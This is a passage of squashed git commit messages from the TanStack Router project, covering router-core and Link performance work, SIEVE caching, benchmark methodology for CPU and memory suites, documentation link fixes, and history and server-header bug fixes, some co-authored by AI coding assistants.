Keep all 26 benchmarks outside the existing client-nav/SSR aggregate projects and CodSpeed build graph. The dedicated @benchmarks/react-link-performance targets require TSR_LINK_PERF=1 for discovery; disabled suites import no app. Gate tests cover explicit enablement and production environment selection.
Client batches perform eight navigations with 200 persistent measured Links. SSR batches create/load/render/dispose four fresh routers. Independent href, active-state, style, and history-state updater assertions run outside the measured loops. No production packages or dependencies change.
Compared identical sources on origin/main 28a5e4504e and captured HEAD bbaa7b3f29, with two fresh processes per ref/mode in counterbalanced order, 50 warm-up iterations, and 3-second windows. Full-suite results show lower HEAD client times for most cases (10.6% shared params, 13.2% search/hash/state updaters, 17.1% masks); SSR updater and optional cases show 14.8% and 12.4% reductions. These are whole-ref comparisons, not improvements from this benchmark-only commit.
Run-to-run noise is significant for small differences. Initial middleware and unique-param SSR slowdowns reversed in focused reruns, so they are not established regressions. Preserve both full-suite and focused data in the uncommitted experiment log and session artifacts.
Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>
* test(router): stabilize opt-in Link performance comparisons
Bound control navigation history with replace and assert that the measured anchors remain mounted. Share the exact setup, batch, and post-measurement assertions between normal Vitest benches and the paired comparison runner. Increase normal warm-up and measurement windows.
Add an opt-in stable runner with a fresh process per case/replica, separate router/app modules, one shared production React runtime, deterministic V8 random/hash seeds, alternating initialization order, and ABBA/BAAB fixed-work blocks. Record main-thread CPU, wall time, whole-process CPU, bundle hashes, and all raw blocks. Derive per-case 95% intervals from independent process replicas rather than correlated individual batches; require CPU and wall results to corroborate a direction.
Same-code controls exposed substantial noise in earlier methods. The selected control was centered near zero (client CPU -0.95%, SSR CPU -0.56%), with intervals still several percentage points wide. Keep unresolved measurements explicitly inconclusive instead of labeling them regressions.
Compared fixed runtime refs origin/main 28a5e4504e and bbaa7b3f29 across all 26 cases with four fresh-process replicas each: 16 cases support speedups, 10 remain inconclusive, and none support a slowdown in both metrics. Client middleware CPU: -5.95% [-13.89%, +2.73%]; SSR middleware: -16.06% [-31.65%, +3.09%]; SSR unique params: -5.08% [-14.97%, +5.96%]. These do not establish middleware or unique-param regressions.
No production package code or default CodSpeed workflow changes. Keep the complete raw matrix, calibration trials, snapshots, and detailed conclusions in uncommitted session artifacts and LOG.md.
Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>
---------
Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>
* perf(router-core): share pathname interpolation across Links
Reuse the existing segment parser to prepare parameter-name lists. Share pure interpolated path strings through bounded router-scoped SIEVE caches (32 templates, 128 paths per template). Avoid compound-key allocation for single-parameter templates and reuse the current template plan.
Parameter callbacks still run before interpolation. Search, hash, state, masks, rewrites, and active-state handling remain independent. Decoder changes clear the caches. No per-Link result cache, descriptor checks, new route matcher, or public API change.
React Link rendering benchmark, measured separately for this commit
and its parent using exact production builds:
- Workload: benchmarks/client-nav/scenarios/links/react/speed.bench.ts
(200 persistent Links, eight navigations per measured batch).
- Apple M4, Node 24.20.0, Vitest 4.1.4, NODE_ENV=production.
- 8 fresh parent processes and 4 fresh processes for this commit,
each with warmupIterations=50 and time=10000 ms;
counterbalanced run order.
- Parent mean times (ms): 3.8767, 3.8900, 4.5507, 4.0116, 3.8297, 3.8582, 3.8879, 4.0157.
- This commit mean times (ms): 2.8824, 2.8625, 2.9597, 2.9673.
- Median run means: 3.8889 -> 2.9211 ms.
- Incremental effect: 24.89% less time; throughput change +33.13%.
- Largest within-run RME for this revision: 1.15%.
Incremental minimal/full React gzip impact: +251/+265 bytes.
Benchmark sources and commit implementation trees are unchanged.
Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>
* test(router-core): cover shared interpolation cache workloads
Cover missing optional parameters that become present, canonical splat keys, and the public usedParams shape. Add focused hit, eviction, and mixed-input benchmarks before simplifying cache metadata collection.
Current cache baseline on Node 24.20.0: repeated single-param batches average 0.0050 ms, repeated multi-param batches 0.0305 ms, result eviction 0.1568 ms, template eviction 0.0809 ms, and mixed inputs 0.0370 ms. Miss-heavy runs show outliers and require narrower comparisons. Production cache remains unchanged.
Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>
* perf(router-core): reuse interpolation pass for cache keys
Collect cache parameter names during the existing interpolation pass instead of parsing each new template twice. Reuse the first interpolated result, compact template plans, and share required/optional/splat path assembly. Preserve public interpolation metadata, missing-param behavior, decoder invalidation, and bounded router-local caches.
Fresh existing React Link benchmark against parent cd4010d9cb, Apple M4 / Node 24.20.0 / Vitest 4.1.4 / production:
- 200 persistent Links and eight navigations per batch. Four separate processes per version, counterbalanced order, warmupIterations=50, time=10000 ms.
- Parent means: 3.0527, 2.8610, 2.8329, 2.8729 ms.
- This commit means: 3.1291, 2.8745, 2.8849, 2.8552 ms.
- Median run means: 2.8670 -> 2.8797 ms (+0.44% time, effectively flat; no incremental Link speedup claimed). Within-run RME below 1%.
- Fresh original-baseline comparisons: 4.2143 -> 2.9825 ms (-29.23%) and 4.0561 -> 2.9909 ms (-26.26%). The complete series still exceeds the original 20% target.
Focused interpolation benchmarks, same files/inputs before and after:
- Client uncached single-param batches: 90.51 -> 79.91 us (-11.7%).
- Client cached template eviction: 72.33 -> 49.74 us (-31.2%; 4-6% RME, p75 also improves).
- Client uncached mixed batches: 71.10 -> 52.41 us (-26.3%).
- Server uncached mixed batches: 61.42 -> 38.11 us (-38.0%).
Bundle size: React minimal/full -414 raw bytes each and -55/-68 gzip bytes. All 18 Router/Start fixtures shrink by 48-75 gzip bytes. Independent hunk attribution confirmed reductions for every retained group.
Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>
* perf(router): meet the original Link bundle budgets
Move the bounded pathname cache onto RouterCore and reuse one interpolation traversal for pathname generation, cache keys, and optional public metadata. Remove the factory and per-parameter metadata callbacks, preserve decoder invalidation and development server/client overrides, and simplify React Link active-state and state-prop assembly. Public APIs and routing features remain unchanged.
Official gzip measurements against parent 37bd31e4e2:
- React minimal: 86000 -> 85772 bytes (-228), equal to origin/main.
- React full: 89601 -> 89356 bytes (-245), 6 below origin/main.
- All 18 Router/Start fixtures shrink by 130-245 gzip bytes. Link remains included; fixtures and the existing Link workload are unchanged.
- Independent Link-only changes save 78/86 bytes; core-only changes save 174/169. Combined gzip effects are not additive.
Fresh existing production Link benchmark, Apple M4 / Node 24.20.0 / Vitest 4.1.4: 200 persistent Links, eight navigations per batch, 50 warm-up iterations and 10-second measurements, with separate processes in counterbalanced order.
- Parent means: 2.903316, 2.908833, 2.945163, 2.955386 ms.
- This commit means: 2.941129, 2.941699, 2.920172, 2.970072 ms.
- Median run means: 2.926998 -> 2.941414 ms (+0.49% time, near process-to-process noise; no incremental Link speedup claimed). Maximum within-run RME: 0.84%.
- Fresh original-baseline comparison: 4.283454 -> 3.016571 ms (-29.58% time). This is the whole-series improvement, not the incremental effect of this commit.
Identical focused before/after benchmarks show public helper regressions eliminated, server public families 4.68-12.85% faster, and cached mixed/missing cases 6.50-10.43% faster. Removing the redundant last-template shortcut makes isolated single-template cache hits slower (5.93 -> 7.21 us client per 200 calls; 5.99 -> 6.83 us server). The real Link workload remains effectively flat for this size-reduction step.
Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>
* perf(router-core): cache omitted optional path params
---------
Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>
* docs(start): correct authentication server function examples
* docs(start): prevent caching session-specific auth pages
* docs(start): guard login forms until hydration
* test(start): assert authentication behavior in SSR and SPA modes
* docs(start): fix broken createServerFn doc links in reading-writing-file tutorials
The 'server-functions' page moved from /framework/{react,solid}/server-functions
to /framework/{react,solid}/guide/server-functions in a recent docs refactor.
The old URL returns 307 redirects that hang (tanstack.com server is
timing out on these paths) — effectively a 404 from the user perspective.
Verified manually: the new /guide/server-functions path returns 200 for
both react and solid variants. The link text in the tutorial points to
'createServerFn', which is documented on the new page.
* docs(start): fix ISR data loading link
---------
Co-authored-by: sanjibani <18418553+sanjibani@users.noreply.github.com>
docs(start): fix broken routing-side guide link in authentication primitives
The "routing-side guide" links in the Authentication Server Primitives guide
used a relative path (`../../../../router/guide/authenticated-routes.md`).
While that resolves as a file path, it renders to an invalid site URL
(`/start/latest/router/guide/authenticated-routes`) and 404s.
Use the absolute cross-project doc path that the rest of the docs already use
for Router links, e.g. `/router/latest/docs/framework/react/guide/authenticated-routes`.
Closes#7701
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
* test(start-server-core): cover response header replacement
Carry forward the five tests from #5537 and extend cookie and header-name coverage.
Co-authored-by: Carlos González <carlos.rgn@gmail.com>
* fix(start-server-core): correctly iterate response headers
* fix(start-server-core): preserve live response headers
---------
Co-authored-by: Carlos González <carlos.rgn@gmail.com>
* perf(solid-router): skip client setup for all server links
* test(solid-router): preserve caller props for internal SSR links
* Merge branch 'main' into codex/solid-link-server-all [Self-Healing CI Rerun]
---------
Co-authored-by: nx-cloud[bot] <71083854+nx-cloud[bot]@users.noreply.github.com>
Construct URLSearchParams only when the first non-undefined input is serialized. Preserve inherited enumeration, getter/callback order, falsy values, empty custom output and native set collision semantics. Add failing-before empty-allocation cases and focused empty-query benchmark cases.
Against d40fb30307, four balanced isolated-process pairs reduced client shared-param CPU 7.89% (95% CI -12.61% to -2.92%) and wall 7.36% (-12.77% to -1.61%). SSR shared-param CPU fell 15.65% (-18.07% to -13.15%) and wall 15.63% (-18.72% to -12.41%). Populated middleware search remained inconclusive: CPU -0.20% (-2.69% to +2.36%), wall +0.02% (-3.36% to +3.51%).
React Router minimal/full gzip +1/+7 bytes; deltas across all 18 fixtures range -3 to +7 bytes. Custom stringifySearch and middleware are still executed; no API or functionality removed.
Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>
Links resolve one state-prop bag instead of separate active and inactive bags. Class names do not need temporary arrays. Unchanged styles retain their original references. Callback behavior and prop precedence remain unchanged.
React Link rendering benchmark, measured separately for this commit
and its parent using exact production builds:
- Workload: benchmarks/client-nav/scenarios/links/react/speed.bench.ts
(200 persistent Links, eight navigations per measured batch).
- Apple M4, Node 24.20.0, Vitest 4.1.4, NODE_ENV=production.
- 8 fresh parent processes and 8 fresh processes for this commit,
each with warmupIterations=50 and time=10000 ms;
counterbalanced run order.
- Parent mean times (ms): 3.9412, 3.8998, 3.8950, 4.2674, 4.0423, 3.8793, 3.9043, 4.1120.
- This commit mean times (ms): 3.8767, 3.8900, 4.5507, 4.0116, 3.8297, 3.8582, 3.8879, 4.0157.
- Median run means: 3.9228 -> 3.8889 ms.
- Incremental effect: 0.86% less time; throughput change +0.87%.
- Largest within-run RME for this revision: 3.08%.
- The small difference is not a reliable speedup claim; it is close to
process-to-process variation.
Incremental minimal/full React gzip impact: -12/-7 bytes.
Benchmark sources and commit implementation trees are unchanged.
Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>
* perf(start-plugin-core): skip unused manifest build data
* fix(start-plugin-core): skip Rsbuild CSS capture during development
* update tests per review
* fix(history): preserve unload blockers during back and forward navigation
* fix(history): respect ignoreBlocker in go navigation
* fix(history): reverse blocked traversal by its delta
* fix(router-core): strip internal SSR globals from declarations
* fix(router-core): avoid stripped SSR type reference
* Revert "fix(router-core): avoid stripped SSR type reference"
This reverts commit 2bc6b55255.
* fix(router-core): strip internal dehydrated context type
* test(router-core): cover published declarations for internal context fix
* test(router-core): isolate published declaration fixtures
* test(router-core): remove declaration consumer fixtures
* test: disable Maglev in CPU simulation benchmarks
* test: track shared CPU simulation flags in benchmark checks
* test: disable scheduled minor GC in CPU simulation
* test: keep incremental marking allocation-driven in CPU simulation
* test: release streamed benchmark data on counted task turns
* test: fix the initial heap budget for CPU simulation
* test: use eager baseline compilation in CPU simulation
* test: isolate each SSR workload in a fresh benchmark worker
* test: remove unnecessary marking override after runtime comparisons
* test: simplify benchmark setup after review
* perf(router-core): replace the LRU cache with a trimmed SIEVE cache
The hand-rolled doubly-linked LRU relinked the hit entry to the newest
position on every `get`. Every cache in the router (resolvePathCache,
the route tree's matchCache/singleCache/flatCache, the SSR manifest
cache) is hit-dominated: a page of links re-resolves the same handful
of paths on every navigation, so the relink was pure overhead.
SIEVE (https://cachemon.github.io/SIEVE-website/) keeps a FIFO list and
a visited bit per entry; a hit only sets the bit, and eviction sweeps a
hand from the oldest entry, clearing bits and dropping the first
unvisited one. Same API as before (`get`/`set`/`clear`, fixed `max`),
no dependency, and the old implementation's stale-`oldest` eviction
edge case is gone.
Microbenchmark (ns/op, Node 25): get-hit 17.0 -> 13.9, set-insert
64.9 -> 50.8, set-evict 79.9 -> 79.9, scan-then-return 41.0 -> 34.8,
get-miss 16.2 -> 19.3. Hit ratios on the links and route-tree-scale
client-nav traces are identical (working sets of 3-9 keys never evict).
Bundle gzip: react-router.minimal -8 B, react-router.full -15 B.
Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01C1tX2n8xegVBsZqoJPu7iv
* perf(router-core): trim SIEVE cache nodes
---------
Co-authored-by: Claude Fable 5.1 <noreply@anthropic.com>
perf(router-core): make superseded navigation waiters share one settle chain
`awaitCurrent` looped `await current.done` and re-read `router._tx` after
each completion. Under back-to-back navigations (anything that starts the
next navigation in the same tick as `onRendered`, including the client-nav
benchmarks) every superseded waiter woke on every successor, so a burst of
N navigations cost N²/2 microtask iterations and kept every superseded
transaction alive until the router went idle.
Each transaction's `done` promise now follows its current successor, so
every waiter on a transaction shares the same chain instead of polling
successors independently. A waiter still resolves once the router has
settled on a transaction other than its owner.
Measured in benchmarks/client-nav (react, navigations per 10s, jsdom):
baseline 15.4K -> 43K, route-tree-scale 17.9K -> 98K,
search-params 16.5K -> 55K. The instrumented baseline run showed
125.8M loop iterations for 15,867 navigations before the change.
Bundle: react-router.minimal -1 B gzip vs main.
Claude-Session: https://claude.ai/code/session_01C1tX2n8xegVBsZqoJPu7iv
Co-authored-by: Claude Fable 5.1 <noreply@anthropic.com>
The frame decoder dropped consumed chunks from its buffer with
bufferList.shift(), which is O(n). When a single large frame (e.g. a big
RawStream payload) is assembled from many small network reads, the
extract loop calls shift() once per chunk, making reassembly O(n^2).
Track the first un-consumed chunk with a head pointer and advance it in
O(1) instead of shifting. Consumed slots are released for GC, and the
buffer is compacted when fully drained (O(1) reset) or once the consumed
prefix grows past a small threshold (amortized O(1) per chunk).
A micro-benchmark draining 1000 small chunks is ~11x faster.
Co-authored-by: Yagiz Nizipli <yagiz@nizipli.com>
* perf(router-core): faster enumerable-key collection in structural sharing
getEnumerableOwnKeys (used by replaceEqualDeep) called
Object.getOwnPropertyNames and then invoked propertyIsEnumerable once per
key to verify every own string prop is enumerable. Replace that O(n) loop
of JS method calls with Object.keys (native, enumerable-only) plus a
single length comparison against getOwnPropertyNames to detect
non-enumerable string props. Symbol handling is unchanged.
Behavior is identical (verified against the existing suite + fuzzing): the
function still returns the enumerable own keys in the same order and still
bails (returns false) for objects with any non-enumerable own string or
symbol property.
replaceEqualDeep runs on every selector result on every state update when
defaultStructuralSharing is enabled, so this is a hot client path for
selector-heavy apps. Measured ~1.3-1.5x faster on typical router state.
* style(router-core): address enumerable key review
---------
Co-authored-by: Yagiz Nizipli <yagiz@nizipli.com>
* perf(react-router): bail out of Link re-renders when href and active state are unchanged
useLinkProps subscribes to the location store with an identity selector and an
href comparator, then derives href and isActive from the published location in
downstream memos. The comparator can only ask "is this a different URL?", never
"does this link care?", so every Link on the page re-renders on every navigation.
Move the location-derived values into the selector and compare them, so a link
whose resolved href and active state are unaffected by a navigation bails out.
buildLocation still runs once per link per location change; what goes away is the
React render and the host reconciliation under it.
doPreload no longer pre-supplies _builtLocation, because the built location is no
longer kept in render state. preloadRoute already falls back to building it, which
is what handleClick has always relied on for router.navigate.
The isActive and externalLink bodies move to module-level helpers unchanged so the
selector stays readable; activeOptions is spread into its four primitive fields in
the dependency list because callers routinely pass an inline object literal.
* refactor: trim redundant comments and brace single-line bodies
The comments explained the bail-out rationale twice — once on the LinkState type
and again above the selector — and two helper docblocks restated their function
names. The rationale now appears once, where a reader meets the selector; the
detail belongs in the PR description rather than the source.
Also braces the three single-line if bodies, per the AGENTS.md rule that if/else
bodies always use curly braces.
* refactor: publish link state as a tuple
The type is erased either way, but the object literal's property names survive
minification and a tuple's positions don't — so this drops three property names
from the selector's return plus the three property reads in compareLinkState.
Measured on the unminified build: -54 bytes in dist/esm/link.js and the same in
dist/cjs/link.cjs.
* test: assert the published link state, and drop a redundant cast
The render-count assertions proved the bail-out but not that the selector still
publishes correct values, so a selector returning a constant could have passed.
The test now also asserts that the link gaining active state carries
`data-status="active"` afterwards (and does not beforehand), and that the
unaffected link keeps its href and stays inactive.
Checked by sabotaging the selector: returning a constant tuple with a wrong href
but a correct active state now fails, where previously it passed.
Also drops `as any` from `new URL(to)` in resolveExternalLink — the guard above
already narrows `to` to string.
* refactor: pass activeOptions through instead of destructuring
Depends on the four fields rather than the object, with an exhaustive-deps
disable: callers routinely pass an inline literal, which would otherwise rebuild
the selector every render. resolveIsActive reads only those four fields, so the
disable is not hiding a live dependency.
-269 bytes on each of dist/esm/link.js and dist/cjs/link.cjs (unminified).
* perf: memoize the href derivation on the built href
The `useMemo` chain this replaced keyed `getHrefOption` and the external-link
resolution on the href string, so a navigation that left a link's href alone
skipped both. Deriving everything in the selector ran them on every location
notification instead, which showed up as a ~10% regression on the client-nav
rewrites benchmark, where rewrite handling makes `getHrefOption` expensive.
Cache both on the built href inside the selector closure. Measured on a
five-link root layout, per navigation: getHrefOption drops from 5 calls back to
0, matching the pre-change profile, with buildLocation and the active-state
derivation unchanged at 5.
* perf: keep _options referentially stable while its contents are equal
Links commonly pass inline `params` / `search` object literals. Those change
identity on every parent render, which rebuilt `_options`, which changed the
store selector's identity, which discarded useSyncExternalStoreWithSelector's
memoized selection. buildLocation then ran twice per navigation: once in the
notification check and once in the render-phase selection.
Measured on a replica of the client-nav rewrites scenario (six links, root
subscribed to the pathname via useLocation), buildLocation per navigation:
base 7, before this commit 12, after 7.
* revert: drop the href memoization, it measured no benefit
Reverts 409371b. It did cut getHrefOption from 5 calls per navigation to 0,
matching the pre-change profile, but that is not where the time went: on the
rewrites scenario it moved the number by 0.05% (medians 245.33 vs 245.21 hz over
four interleaved rounds). Not worth ~15 lines of mutable closure state.
The rewrites regression is fixed by the _options stabilisation instead.
* docs: explain why useValueStable exists
Replaces a leftover scratch note.
* perf: cut the bundle cost of the link state selector
Stabilise `activeOptions` with the same helper used for `search` / `params`,
so the selector depends on one value instead of four destructured fields. That
also makes the dependency array honest, so the exhaustive-deps disable goes.
Drop the reference-equality guard in useValueStable: deepEqual already
short-circuits on `a === b`, so the guard only saved a function call that
returns immediately.
Measured with benchmarks/bundle-size against this branch's base, gzip delta
across the eight React scenarios moves from +27/-7 to +11/-24, and raw bytes go
uniformly negative (-37 to -45 on every scenario).
* perf: pass _options to preloadRoute without the shallow clone
The spread existed to add _builtLocation, which is gone, and nothing on the
preload path mutates the options object: preloadRoute only reads
opts._builtLocation, build() only reads dest fields, and the search middleware
chain only reads dest.search. Search middlewares themselves receive
{ search, next }, never dest.
Saves an object allocation per hover. Bytes are unchanged on gzip, -5 raw.
* fix: do not collapse explicit-undefined params when stabilising link options
useValueStable compared with deepEqual's default ignoreUndefined: true, which
skips undefined-valued keys on both sides, so `{}` and `{ category: undefined }`
compared equal. Those build different locations: an explicit undefined clears an
inherited optional param while an empty object inherits it. A Link whose params
changed from one to the other kept publishing the stale href, and click and
preload used the stale options too.
Compare with ignoreUndefined: false. Adds a regression test covering the
/posts/tech -> /posts transition, which fails before this commit and passes
after, and passes on the pre-PR baseline.
* chore: empty commit to re-trigger CI
* chore: add changeset
---------
Co-authored-by: Flo <me@florianpellet.com>
* perf(start-client-core): compact frame decoder result keys
* docs: record compact frame result evidence
* docs: record frame result attribution and e2e
* Delete RESULT-optimization-frame-decoder-compact-result.md
* changeset
Use the Start storage context for request cancellation and focused server entrypoints to keep unrelated route dependencies out of the RSC module graph. Add emitted-build regression coverage for the boundary.
fixes#7938
* bench(memory): settle-until-quiescent GC barrier between iterations
The fixed-turn settle before the pinned collection was hardware-fragile:
teardown needing one more event-loop turn on a given runner leaked a whole
payload of garbage past the collection point and flipped the measured peak
bimodally (serialization-payload solid/react resurfacing the pre-#7730
6.2MB attractor on some CI runners). Replace it with an adaptive barrier
that hops and collects until the post-GC heap size stops moving, with a
minimum-turn floor matching the fixed count it replaces (React's stream
teardown spans several turns and races a shorter floor).
Also pin collections in request-churn and the aborted-requests drain:
their peak floated on GC scheduling even with bit-identical work (18%
spread on CI for solid churn). Reachable accumulation stays visible to
the metric - a forced collection cannot reclaim leaked or cached objects,
it only removes floating garbage, whose collection timing was the
dominant cross-run noise source. Verified with a synthetic reachable
leak: +4.7% peak over a 0.6% A/A noise floor, where the old 18% noise
would have swallowed it.
Local A/A spreads (3x codspeed run per suite): solid <=1%, react <=2.2%
except request-churn (rare +130KB mode, framework teardown variance),
vue <=2.3% except aborted-requests (~8%, intra-iteration work variance,
down from 21% on CI).
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
* bench(memory): fixed-count settle barrier, drop adaptive quiescence exit
The adaptive exit (collect until post-GC heap size stops moving) made the
collection points land at data-dependent turns on CI: heap readings never
fully stabilize there, so the exit point - and every subsequent GC point -
shifted between identical runs. The first CI A/A pair showed it flipping
serialization-payload (vue) to a 6MB mode (67%), inflating peak-large-page
(vue) 3.4x, and adding 7-8% swings to the react/vue abort scenarios, while
fixing the solid suite.
Every step is now a fixed count: 16 settle turns (enough for React/Vue
multi-turn teardown that the original 2-turn barrier raced), one pinned
collection, one turn, one more collection for finalizer fallout. Fixed
counts make the GC points identical across runs by construction, which is
the property the barrier exists to provide.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
* bench(memory): size iteration counts to the 2-10s measured-run window
On CI (eBPF instrument + --no-opt) one pinned iteration costs ~0.1-0.6s,
so the previous counts put request-churn at ~36s measured and the error
-paths/server-fn benches at 0.1-0.5s - outside the useful 2-10s range in
both directions. Retune: request-churn/aborted-requests/error-paths/
server-fn-churn to 40 iterations, serialization-payload to 12;
peak-large-page and streaming-peak already sit in range at 20.
The floor is raised by pinning error-paths and server-fn-churn rather
than inflating their iteration counts: thousands of unpinned iterations
would cross V8's own GC scheduling and reintroduce the timing noise the
barrier removes, while the pin's fixed per-iteration cost lifts them into
range at 40 iterations and makes their collection points deterministic.
Note: fewer churn iterations proportionally shrink the accumulation
window, so peak-based leak sensitivity drops accordingly; leaks remain
visible in total-allocated (forced compactions re-copy the growing live
set every iteration).
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
* bench(memory): disable V8 bytecode flushing in memory bench workers
The retuned (shorter) runs exposed a recurring V8 internal event - a
+7-13MB allocation burst with the signature of bytecode flush + lazy
recompile - that lands inside or outside the measured window at random,
flipping peaks by whole MBs between identical CI runs (request-churn vue
785KB vs 3.2MB). The pinned collections age code fast enough for V8 to
flush unused bytecode mid-run; --no-flush-bytecode keeps compiled code
alive for the process lifetime so the measured window sees no recompile
bursts. Vite's mergeConfig concatenates the scenario's test.execArgv with
the flags the CodSpeed plugin injects, so both apply to the fork workers.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
* bench(memory): pre-size V8 heap geometry in memory bench workers
--no-flush-bytecode alone did not stop the run-to-run flips: the
recurring event is heap-space growth, which allocates several MB at a
run-dependent moment inside the shortened measured windows (error-paths
unmatched vue 674KB vs 2MB, serialization-payload solid resurfacing its
6.4MB attractor on one run in three). Pre-sizing old space and pinning
the semi-space size removes mid-measurement growth while leaving the
per-iteration page map/unmap signal intact - local runs confirm peaks
still track payload sizes exactly (serialization 3.5MB, streaming
30.3MB, levels unchanged).
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
* bench(memory): size tiny benches just above the 2s measured-run floor
error-paths and server-fn-churn sat at 5-8s measured on CI; fewer
iterations bring them to ~2.3-3.4s, keeping the 2s floor while shrinking
the window a stray allocator event can land in.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
* bench(memory): verify the pinned collection against the heap floor
The residual CI flips all share one signature: exactly one iteration's
payload added to the measured peak (serialization-payload vue 3.5 vs
6.9MB, peak-large-page vue 780 vs 1349KB, error-paths redirect vue 300 vs
885KB). On some runners the response teardown holds the payload past the
fixed settle window - released only by a later internal timer - so it
survives the pinned collection and bleeds into the next iteration.
After the fixed 16-turn settle and collection, compare the post-GC heap
against the smallest post-collection size seen this run (the inter-
iteration floor): while it has not returned to the floor, keep hopping
and collecting, bounded at 64 turns. The barrier stays fixed-count in the
common case and extends only in exactly the failure case. Workloads that
genuinely accumulate reachable memory raise the floor as they go, so
accumulation still measures.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
* bench(memory): restrict floor verification to peak-shape scenarios
The floor-verified barrier fixed its target - the serialization family
went to <=0.45% across three CI runs, attractor gone - but destabilized
churn/abort scenarios (request-churn solid 420KB vs 3.4MB): their inter-
iteration floor legitimately drifts, so the verification capped out
chronically and the ~48 extra collections per iteration eventually hit a
compaction that double-copies the live set. Split by scenario shape:
serialization-payload, peak-large-page and streaming-peak keep the
verified barrier (flat floor, proven fix); churn and abort scenarios go
back to the plain fixed-count barrier that held them at <=1.7% in the
two previous CI rounds.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
---------
Co-authored-by: Claude Fable 5 <noreply@anthropic.com>
* feat(benchmarks): add client-side CPU benchmark scenario suite
Add 11 client-side CPU benchmark scenarios to benchmarks/client-nav, each
implemented identically across react/solid/vue and tracked by CodSpeed
through the existing Benchmarks workflow (no CI changes needed):
async-pipeline, control-flow, head, history, links, loaders, mount,
nested-params, preload, route-tree-scale, search-params
Each scenario is an isolated file-based-routing app (route trees generated
by @tanstack/router-plugin) built for production and driven in jsdom by a
shared harness (scenarios/harness.ts): circular step sequences of real
<Link> clicks (plus hover/preload/history-traversal/invalidate steps),
each synchronized on the router's onRendered event, with a warm-up lap
that asserts every step's observable output. Determinism rules: no
wall-clock timers (counted 0ms hops only), staleTime/gcTime pinned to 0 or
1e9, deterministic preload staleness, stationary DOM and history depth.
The existing baseline apps and bench names are untouched for CodSpeed
continuity; baseline vite configs only gain an explicit root/setupFiles so
they resolve identically under the new per-framework aggregate configs.
Notable constraints encoded in the scenarios:
- Component-level Await/Suspense is excluded from async-pipeline: React 19
throttles every Suspense reveal by ~300ms wall-clock, which is
inherently non-deterministic to benchmark.
- control-flow/react silences React 19's onCaughtError reporting, which
otherwise dominates the measured loop with console I/O.
- Vue route components must be defined before their createFileRoute call
(bundled var hoisting silently yields component: undefined otherwise).
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
* ci: apply automated fixes
* chore(benchmarks): prefix client-nav bench names with "client-"
All benches in @benchmarks/client-nav now start with "client" so they are
easy to identify on the CodSpeed dashboard (the baseline already did).
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
* fix(benchmarks): address review findings on client-nav scenario stability
Fixes from an adversarial review of the scenario suite:
- mount: create the browser history explicitly and destroy() it on unmount.
The default per-router createBrowserHistory() monkey-patches
window.history.pushState/replaceState, chaining one wrapper per router —
per-mount cost degraded 1.8ms -> 6ms over 3000 mounts (O(N^2) drift in
the cold-start bench). Verified flat (~1.86ms) after the fix.
- links: replace the five <MatchRoute> components with setup-scoped
useMatchRoute probes in all three apps. vue-router's MatchRoute calls
useMatchRoute() inside its render function, leaking one undisposed
watcher per render — the Vue bench accumulated ~5 dead subscribers per
navigation. Verified flat per-tick cost over 2000 ticks after the fix.
- all scenarios: bound the scroll-restoration cache with
getScrollRestorationKey: (location) => location.pathname. The default
key is a fresh random per-entry location key, so the module-level cache
grew one entry per push navigation for the whole run.
- harness hover step: dispatch a single mouseover instead of
mouseover+mouseenter. Solid/Vue attach intent-preload handlers to BOTH
events, so the old double dispatch ran the preload pipeline twice for
them but once for React. Verified all three adapters preload exactly
once per hover via cached-matches probes.
- README: correct the loaders row (the invalidate step means cached routes
re-run once per lap), the links row, and document the session-history
growth characteristics.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
* feat(benchmarks): cover client rewrites, lazy route chunks, encoded params
Closes the three coverage gaps identified in the scenario-suite analysis:
- new `rewrites` scenario (react/solid/vue): router basepath '/app' composed
with a locale input/output rewrite pair — the client analog of the SSR
rewrites scenario. Every href build runs the output rewrite and every
committed location runs the input rewrite; assertions check both the
internal router pathname and the external window pathname. The harness
gained an `initialUrl` option since a basepath app cannot start at '/'.
- route-tree-scale now builds with `autoCodeSplitting: true`, so its
navigations also exercise lazy route-chunk resolution — the default shape
of real file-based apps, previously uncovered.
- nested-params and route-tree-scale param sets now include characters that
need percent-encoding (spaces, `&`, `%`, `+`, unicode) so the segment
encode/decode paths run on every navigation.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
* fix(benchmarks): reduce syscall time in measured loops, lengthen mount bench
CodSpeed excludes syscall time from simulation measures, and past a
threshold it warns ("cannot be consistently instrumented") and skips the
benchmark; the exclusion is also inconsistent run-to-run, which was the
root cause of the two same-code CI swings (route-tree-scale react 13%,
async-pipeline react 3.6%) and of skipped runs on hop-heavy benches like
async-pipeline solid (579 calls / 12.1ms).
- Replace all counted setTimeout(0) hops with setImmediate hops (harness
timerHop + async-pipeline hopDelay). Both are deterministic event-loop
turns that yield to timers and the React Node scheduler, but a timer
costs ~3-4 syscalls (timerfd + epoll) per hop vs ~1 for an immediate.
Same-machine instrumented before/after: preload solid 39.8ms -> 1.2ms of
syscall time, preload vue 30.1 -> 1.1, async-pipeline solid 23.5 -> 1.1,
async-pipeline vue 17.9 -> 0.9. head/route-tree-scale are unchanged
(their residual syscalls are GC/scheduler, and their measures were
already stable); history's syscalls come from jsdom's internal
timer-queued traversal and are not reachable from bench code (its
